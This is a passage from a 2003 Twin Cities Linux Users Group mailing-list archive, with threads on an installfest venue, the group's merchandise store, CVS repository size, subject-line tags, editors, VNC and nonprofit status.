my hand slapped on this one 8-) ). I can use the extra made to purchase equipment for installfests (switches anyone?) or for getting things like business cards, letterhead, etc. Or I can just dump it in the TCLUG fund for when people don't pay enough at beer meetings. lol Let me know what ya'll feel would be best or if you have any other ideas. I would like this thing to belong to the LUG and not be mine alone. And as such, I'm open to new artwork, ideas, designs, etc. And just so you know, here's the current sales figures. Prospective Product Qty Commission Rect Stckr 3 1.53 Wht T-shirt 2 1.01 Ovl Stckr 2 1.02 Bmpr Stckr 2 1.02 Lrg Mug 1 1.01 Ash Gry T-shirt 1 1.01 Golf Shirt 1 1.01 Totals 12 $7.61 If anybody has any more questions, fire... er, shoot... I mean, Ask! -- The Wandering Dru http://druswanderings.net <-- Things 'n' Such _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Thu Aug 14 22:48:24 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:25 2005 Subject: HIJACK: Has to be a record WAS Re: [TCLUG] Have date for Installfest In-Reply-To: References: Message-ID: <1060919304.1809.21.camel@cesium> Hijacking gone amok! This thread has been hijacked so many times and in so many different directions that is has to be some sort of record. Or at least close... On Wed, 2003-08-13 at 16:47, Bruce Broecker wrote: > So, based on the bit of discussion, here's what I'm going to do: > > September Installfest > Saturday, September 13th > 10:00-5:00 (or thereabouts) > The Toro Company > 8111 Lyndale Ave S > Bloomington, MN 55420 > Corner of 82nd and Lyndale, just south of 494 and Lyndale > Main entrance is on 82nd - park in the parking ramp > Sign in with Security guard will likely be necessary > > Any final comments? I'm new to this, be gentle. > > Bruce > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > > >>> bruce.broecker@toro.com 08/11/03 11:12AM >>> > Here's what I have available: > > 3 or 4 100mbit drops into the room, plus a mixed bag of Cisco switching equipment. > Cisco Aironet AP1200, if desired. > at least 3 separate 20 amp circuits (possibly more). > tables and chairs (it's a big conference room laid out in presentation format). > SVGA projector, if somebody wants to project an install on the big screen. > Plenty of parking. > > What will be needed: > Patch cords - most of what I have are shorter lengths and we will probably need longer stuff. > Power strips and extension cords, of course. > > I'm going to post a notice to my IS department, as well as our engineering group, so there is a possibility of substantial numbers of new faces (including mine, since I've only participated virtually). > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kbongers at infinetivity.com Thu Aug 14 18:03:29 2003 From: kbongers at infinetivity.com (Karl Bongers) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <1595.192.1.1.23.1060916093.squirrel@dccmn.com> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030813233440.GA23212@skuld.wookimus.net> <20030813224143.GA363@duron> <1595.192.1.1.23.1060916093.squirrel@dccmn.com> Message-ID: <20030814230329.GA12671@duron> Yes, I'm just pointing out that CVS works fine on a large project. 18M source is a large project on my world. Bob has obviously slipped into some future time dimension on a distant planet, thus the 1.8G use. Welcome to the twilight zone, you will be programming in this cubical :) I recall the full cvs repository for this sdcc project at around 60M. Maybe your cvs delta history is overflowing with a bunch of binary bitmaps? If the actual source tree is of reasonable size, maybe you need to purge some history? Start a fresh repository? If your actual source is > 100M you need to find your way out of the twilight zone :) On Thu, Aug 14, 2003 at 09:54:53PM -0500, Wayne Johnson wrote: > > It depends on the number of files and the updates in those files, as well > as the server horsepower. > > Karl Bongers said: > >> On Wed, Aug 13, 2003 at 04:29:24PM -0500, Bob Tanner wrote: > >> > When your cvs repository gets large enough that a cvs update -dP > >> takes 15mins, and cvs commit at just as long, what do you do? > > > > A cvs checkout on a 18M project(sdcc) on sourceforge just took > > about 1 minute. Afterwards a cvs update took about 5 seconds. > > How large can your repository be? > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Thu Aug 14 22:49:05 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] TAG your IT In-Reply-To: <20030811184401.GF2497@iucha.net> References: <20030811125815.0d12e86f.sfertch@real-time.com> <3F37E16F.9050000@myrealbox.com> <20030811184401.GF2497@iucha.net> Message-ID: <20030815034905.GP21442@autonomous.tv> I just couldn't help myself. I must have the w32.hijack virus. What *do* I do? -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030814/fd46f697/attachment.pgp From florin at iucha.net Thu Aug 14 23:11:24 2003 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] TAG your IT In-Reply-To: <20030815034905.GP21442@autonomous.tv> References: <20030811125815.0d12e86f.sfertch@real-time.com> <3F37E16F.9050000@myrealbox.com> <20030811184401.GF2497@iucha.net> <20030815034905.GP21442@autonomous.tv> Message-ID: <20030815041124.GA886@iucha.net> On Thu, Aug 14, 2003 at 10:49:05PM -0500, Spencer Butler wrote: > I just couldn't help myself. I must have the w32.hijack virus. What > *do* I do? I don't know, I don't have virii. Ask somebody from BestBuy or CompUSA. florin PS. Real men write their own virii. -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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What's the w32.hijack virus, and that leaves me lost. What's Hijacking anyways? > I just couldn't help myself. I must have the w32.hijack virus. What > *do* I do? > > -- > Linux Administrator || Technology Specialist || Wifi Engineer > http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv > Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Thu Aug 14 23:43:44 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] TAG your IT In-Reply-To: <18403.209.32.148.105.1060921987.squirrel@www.superiorman.com> References: <20030815034905.GP21442@autonomous.tv> <18403.209.32.148.105.1060921987.squirrel@www.superiorman.com> Message-ID: <20030815044344.GQ21442@autonomous.tv> On Thu, Aug 14, 2003 at 11:33:07PM -0500, spidler@superiorman.com wrote: >Okay, so excuse my ignorance, i'm a newbie to anything technical. Not a problem. >What's the w32.hijack virus, and that leaves me lost. A figment of this hijacked thread's imagination. >What's Hijacking _This_ is a thread hijack. When you hit reply to an email thread instead of hitting compose 'new' email. >anyways? Anyways, this thread will stand to be as dysfunctional as its authors :) -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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Let's just drop the header so that when we display a threaded message list in Evolution, the subject doesn't get completely cut off! :) -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Fri Aug 15 00:58:48 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] subject tag In-Reply-To: <1060924476.20745.54.camel@myah>; from hackel@walkingfish.com on Fri, Aug 15, 2003 at 12:14:36AM -0500 References: <1060924476.20745.54.camel@myah> Message-ID: <20030815005848.A3575@thinkunix.net> Ryan Hayle wrote: > Is there any way to remove that annoying [TCLUG] tag at the beginning of > each subject on list messages? We're all well versed enough in our > procmail recipes and such to filter messages based on List-Id:, right? > Let's just drop the header so that when we display a threaded message > list in Evolution, the subject doesn't get completely cut off! :) Evolution?? just say no to bloated GUI's and use mutt! -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Fri Aug 15 01:21:04 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] subject tag In-Reply-To: <20030815005848.A3575@thinkunix.net> References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> Message-ID: <1060928464.20745.123.camel@myah> On Fri, 2003-08-15 at 00:58, Scot Jenkins wrote: > Evolution?? just say no to bloated GUI's and use mutt! Yes, when I'm on the road and don't mind straining my eyes and not having decent text editing capabilities and such, I use it frequently. However the same problem applies and is even WORSE in mutt. :-P -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Fri Aug 15 03:08:31 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] subject tag In-Reply-To: <1060928464.20745.123.camel@myah> References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> Message-ID: <20030815080831.GH13598@techmonkeys.org> On Fri, Aug 15, 2003 at 01:21:04AM -0500, Ryan Hayle wrote: > Yes, when I'm on the road and don't mind straining my eyes and not > having decent text editing capabilities and such, I use it frequently. > However the same problem applies and is even WORSE in mutt. :-P !!!! decent text editing? vim rocks! As for subjects being cut off, try using an xterm: http://www.poptix.net/thread-hijack1.png I've got plenty of room for those deliciously long subjects, even with the 7 character tag. > > -- > Ryan Hayle -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Fri Aug 15 07:12:11 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] subject tag In-Reply-To: <20030815080831.GH13598@techmonkeys.org> References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> <20030815080831.GH13598@techmonkeys.org> Message-ID: <1060949531.20064.17.camel@myah> On Fri, 2003-08-15 at 03:08, Matthew S. Hallacy wrote: > decent text editing? vim rocks! No way, man, I want emacs as a message editor! Actually anything that will let me hold shift to highlight text, position the cursor with the mouse, and has scroll bars will suit me fine! :-P > As for subjects being cut off, try using an xterm: > > http://www.poptix.net/thread-hijack1.png > > I've got plenty of room for those deliciously long subjects, even with the > 7 character tag. My god I hope that is maximized! You always run it that big? I like my nice, 24x80 xterm to sit in just the lower-left quarter of my screen. Anyways, I'm just thought I'd ask about the [TCLUG] thing... There are several Yahoo groups I'm on with insanely long (25+ char) names, and so I included tclug in the fray of complaints... 8 extra chars I think I can handle. -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 15 07:53:41 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:25 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Message-ID: <0399641989D32043BED5793CCC8F5CD54D3691@BPEXU1VM2.andersencorp.com> Haha!! The jokes on you!!! My wife doesn't let me go to the beer meetings!!! :-) Dan Lansing -----Original Message----- From: Austad, Jay [mailto:JAustad@temgweb.com] Sent: Thursday, August 14, 2003 5:14 PM To: 'tclug-list@mn-linux.org' Subject: RE: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Heh, someone should buy Dan a beige bike helmet to wear to the next beer meeting. :) > -----Original Message----- > From: Lansing, Dan [mailto:Dan.Lansing@AndersenCorp.com] > Sent: Thursday, August 14, 2003 3:54 PM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i > retarded?----WAS: Have date for Installfest > > > RetardDan? You must know my wife....i think that's her pet > name for me this week :-) > > Dan Lansing > > -----Original Message----- > From: Bob Tanner [mailto:tanner@mn-linux.org] > Sent: Thursday, August 14, 2003 2:53 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am > i retarded?----WAS: Have date for Installfest > > Ok, I like this type of thread :-) It's how we got IdiotBen! > Now we got > RetardDan? Right? Dan started this thread? > > :-P > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 > http://www.linuxjustworks.com | Linux Just Works! > Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 15 08:11:54 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: <1060924476.20745.54.camel@myah> Message-ID: On 15 Aug 2003, Ryan Hayle wrote: > Is there any way to remove that annoying [TCLUG] tag at the beginning of > each subject on list messages? We're all well versed enough in our > procmail recipes and such to filter messages based on List-Id:, right? Then why aren't you well-versed enough to use procmail to remove the tag? :P Example: http://lists.insecure.org/linux-kernel/2001/Feb/2372.html I'm sure the tag helps *someone*. (One would hope.) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 15 08:28:03 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag References: Message-ID: <000d01c36331$0e429de0$6501a8c0@isd.net> I love tags! I cut them off beds and pillows :) ----- Original Message ----- From: "Jima" To: Sent: Friday, August 15, 2003 8:11 AM Subject: Re: [TCLUG] subject tag > On 15 Aug 2003, Ryan Hayle wrote: > > Is there any way to remove that annoying [TCLUG] tag at the beginning of > > each subject on list messages? We're all well versed enough in our > > procmail recipes and such to filter messages based on List-Id:, right? > > Then why aren't you well-versed enough to use procmail to remove the tag? > :P > > Example: > > http://lists.insecure.org/linux-kernel/2001/Feb/2372.html > > I'm sure the tag helps *someone*. (One would hope.) > > Jima > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 15 08:25:04 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: <000d01c36331$0e429de0$6501a8c0@isd.net> Message-ID: On Fri, 15 Aug 2003, Sam MacDonald wrote: > I love tags! > > I cut them off beds and pillows :) LLOL! You'd better be the consumer...otherwise I'm calling the cops. ;) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 15 08:42:41 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: References: <1060924476.20745.54.camel@myah> Message-ID: <20030815084241.46427caa.sfertch@real-time.com> On Fri, 15 Aug 2003 08:11:54 -0500 (CDT) Jima wrote: > On 15 Aug 2003, Ryan Hayle wrote: > > Is there any way to remove that annoying [TCLUG] tag at the > > beginning of each subject on list messages? We're all well versed > > enough in our procmail recipes and such to filter messages based on > > List-Id:, right? > Well, there's only at least a million other mailing lists out there that use tags as well. Are you going to approach them as well as ask that they remove the tags as well? > Jima wrote: > I'm sure the tag helps *someone*. (One would hope.) > Yes, me at least. I'm sometimes stuck having to use Lookout! for a mail client, and it's easier to sort via subject line/sender. Well for me at least. I'm lazy/don't have the time/don't really wanna know at this time/couldn't care less about someone's stupid bitch session about a few characters in a subject line. How's that? Don't like? Too bad!!! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilcoxon at bridge.com Fri Aug 15 08:49:53 2003 From: wilcoxon at bridge.com (Stephen R. Wilcoxon) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] Looking for an Emulator In-Reply-To: Your message of "Wed, 13 Aug 2003 16:55:25 CDT." References: Message-ID: <200308151349.JAA26906@mnmailhost> I second VNC. I love it. I can work in the office or from home and keep work files open and just reconnect to the VNC session (same reason I love screen). Personally, I prefer TightVNC (http://www.tightvnc.com/) as it uses less bandwidth and has more compression-oriented options. On Wed 2003/08/13 16:55:25 CDT, johnny fulcrum writes : > On Wed, 13 Aug 2003 14:57:27 -0500, Sam MacDonald wrote: > > > I'm looking for software like Exceed that will let me run a remote X > > session. > > I need something that will not impact my pocket at all, free = :o) If > > it > > has a server side it needs to run on Redhat 6.2, kernel 2.2.14-5.0 > > Clients > > for W95, 98, and 2K. > > > Check out VNC at http://www.realvnc.com/ > > You run a server on yer Redhat box, and install client on windows. Gives > you a "desktop" session off of the Redhat box, but displayed on the windows > side. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crumley at belka.space.umn.edu Fri Aug 15 09:08:25 2003 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: <1060949531.20064.17.camel@myah> References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> <20030815080831.GH13598@techmonkeys.org> <1060949531.20064.17.camel@myah> Message-ID: <20030815090825.A13565@baker.space.umn.edu> On Fri, Aug 15, 2003 at 07:12:11AM -0500, Ryan Hayle wrote: > On Fri, 2003-08-15 at 03:08, Matthew S. Hallacy wrote: > > decent text editing? vim rocks! > > No way, man, I want emacs as a message editor! Actually anything that > will let me hold shift to highlight text, position the cursor with the > mouse, and has scroll bars will suit me fine! :-P gvim! Since we're venting about pet peeves, I was ecstatic to see that you quoted correctly (TM). There has been way too many "quotes below" posts around here lately. The horror! -- Jim Crumley |Twin Cities Linux Users Group Mailing List (TCLUG) crumley@fields.space.umn.edu |Minneapolis/St. Paul, Minnesota Ruthless Debian Zealot |http://www.mn-linux.org/ Never laugh at live dragons |Dmitry's free,Jon's next? http://faircopyright.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Aug 15 09:12:34 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:26 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <1060919093.1802.17.camel@cesium> References: <1060919093.1802.17.camel@cesium> Message-ID: <20030815141234.GB3412@skuld.wookimus.net> Don't we have a Treasurer? Do we have a savings account somewhere? Are we actually an NPO? -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/f3e15fed/attachment.pgp From chewie at wookimus.net Fri Aug 15 09:20:39 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <20030814230329.GA12671@duron> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030813233440.GA23212@skuld.wookimus.net> <20030813224143.GA363@duron> <1595.192.1.1.23.1060916093.squirrel@dccmn.com> <20030814230329.GA12671@duron> Message-ID: <20030815142039.GC3412@skuld.wookimus.net> On Thu, Aug 14, 2003 at 06:03:29PM -0500, Karl Bongers wrote: > If your actual source is > 100M you need to find your way out of the > twilight zone :) I would second this observation. GIFs, JPEGs, and other binary data is a poor match for CVS. They cannot be version controlled anyway, and must be specified as binary data. I believe CVS simply compares timestamps and uploads any newer files it finds. If these binary files need to be under version control, then subversion or bitkeeper is probably what you need. If migrating is out of the question, then may be time to refactor the CVS repository and pull out image/binary files into a distributed tarball. Put a target in your Makefile that uses curl or wget to download and extract the data to the correct directories. If that is not an option, perhaps using the file command and some shell scripting to selectively update files might be the answer. You can use "cvs update [file[ file[ ...]]]". So, maybe something like: sourcefiles:=$(wildcard *.c) datafiles:=$(shell ...) update_source: cvs update $(sourcefiles) update_data: cvs update -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/df6fa7ae/attachment.pgp From spencer at autonomous.tv Fri Aug 15 09:16:30 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:26 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815141234.GB3412@skuld.wookimus.net> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> Message-ID: <20030815141630.GD12831@autonomous.tv> On Fri, Aug 15, 2003 at 09:12:34AM -0500, Chad Walstrom wrote: >Don't we have a Treasurer? Do we have a savings account somewhere? Are >we actually an NPO? NPO? I believe this concept has been explored on numerous occasions. The outcome always seems to be against it. IIRC Jaque is or at least was the treasurer. As far as a savings account, I have no idea. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/fcfbb4aa/attachment.pgp From lxy at cloudnet.com Fri Aug 15 09:22:16 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: Message-ID: On Fri, 15 Aug 2003, Jima wrote: > I'm sure the tag helps *someone*. (One would hope.) Sometimes there's only one way to solve it http://www.mn-linux.org -Brian _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 15 09:23:05 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: References: Message-ID: Where does the profit go??? On Fri, 15 Aug 2003 09:22:16 -0500 (CDT), Brian wrote: > On Fri, 15 Aug 2003, Jima wrote: > >> I'm sure the tag helps *someone*. (One would hope.) > > Sometimes there's only one way to solve it > http://www.mn-linux.org > > -Brian > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 15 09:30:39 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:26 2005 Subject: [TCLUG] subject tag In-Reply-To: Message-ID: On Fri, 15 Aug 2003, Brian wrote: > Sometimes there's only one way to solve it > http://www.mn-linux.org Good idea. Unfortunately I guess the tag will be helping no one, as they'll all be sold on eBay. Doh! Next flamewar/poll: mn-linux.org vs. tclug.org! ;) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 15 09:24:22 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] subject tag In-Reply-To: <20030815090825.A13565@baker.space.umn.edu> References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> <20030815080831.GH13598@techmonkeys.org> <1060949531.20064.17.camel@myah> <20030815090825.A13565@baker.space.umn.edu> Message-ID: On Fri, 15 Aug 2003 09:08:25 -0500, Jim Crumley wrote: > On Fri, Aug 15, 2003 at 07:12:11AM -0500, Ryan Hayle wrote: >> On Fri, 2003-08-15 at 03:08, Matthew S. Hallacy wrote: >> > decent text editing? vim rocks! >> >> No way, man, I want emacs as a message editor! Actually anything that >> will let me hold shift to highlight text, position the cursor with the >> mouse, and has scroll bars will suit me fine! :-P > gvim! > > Since we're venting about pet peeves, I was ecstatic to see that > you quoted correctly (TM). There has been way too many "quotes > below" posts around here lately. The horror! The Mailing List Etiquette FAQ is vague on where quoted material should go. Am I doing it right? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kent at structural-wood.com Fri Aug 15 09:42:12 2003 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 12:40:27 2005 Subject: [TCLUG] subject tag References: <1060924476.20745.54.camel@myah> <20030815005848.A3575@thinkunix.net> <1060928464.20745.123.camel@myah> <20030815080831.GH13598@techmonkeys.org> <1060949531.20064.17.camel@myah> <20030815090825.A13565@baker.space.umn.edu> Message-ID: <3F3CF144.5080608@structural-wood.com> Yes Johnny Fulcrum wrote: > > > On Fri, 15 Aug 2003 09:08:25 -0500, Jim Crumley > wrote: > >> On Fri, Aug 15, 2003 at 07:12:11AM -0500, Ryan Hayle wrote: >> >>> On Fri, 2003-08-15 at 03:08, Matthew S. Hallacy wrote: >>> > decent text editing? vim rocks! >>> >>> No way, man, I want emacs as a message editor! Actually anything that >>> will let me hold shift to highlight text, position the cursor with the >>> mouse, and has scroll bars will suit me fine! :-P >> >> gvim! >> >> Since we're venting about pet peeves, I was ecstatic to see that >> you quoted correctly (TM). There has been way too many "quotes >> below" posts around here lately. The horror! > > > > The Mailing List Etiquette FAQ is vague on where quoted material should > go. Am I doing > it right? > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 15 10:14:48 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:27 2005 Subject: NPO? (was Re: [TCLUG] Store Particulars -Rather long) In-Reply-To: <20030815141630.GD12831@autonomous.tv> References: <1060919093.1802.17.camel@cesium> <20030815141234.GB3412@skuld.wookimus.net> <20030815141630.GD12831@autonomous.tv> Message-ID: <20030815151448.GA21349@fandre.com> On Fri, 15 Aug 2003, Spencer Butler wrote: > On Fri, Aug 15, 2003 at 09:12:34AM -0500, Chad Walstrom wrote: > >Don't we have a Treasurer? Do we have a savings account somewhere? Are > >we actually an NPO? > NPO? I believe this concept has been explored on numerous occasions. > The outcome always seems to be against it. IIRC Jaque is or at least > was the treasurer. As far as a savings account, I have no idea. > Specer is correct. We explored the idea of becoming a NPO, but really did not make much sense for our situation. Jacques was assigned the official treasurer, but since we had no income the role kind of just faded away. Also with no income, there was no need for a savings account. It's up to Jacque on if she would like to revive the role. Just because we decided against becoming a NPO in the past doesn't 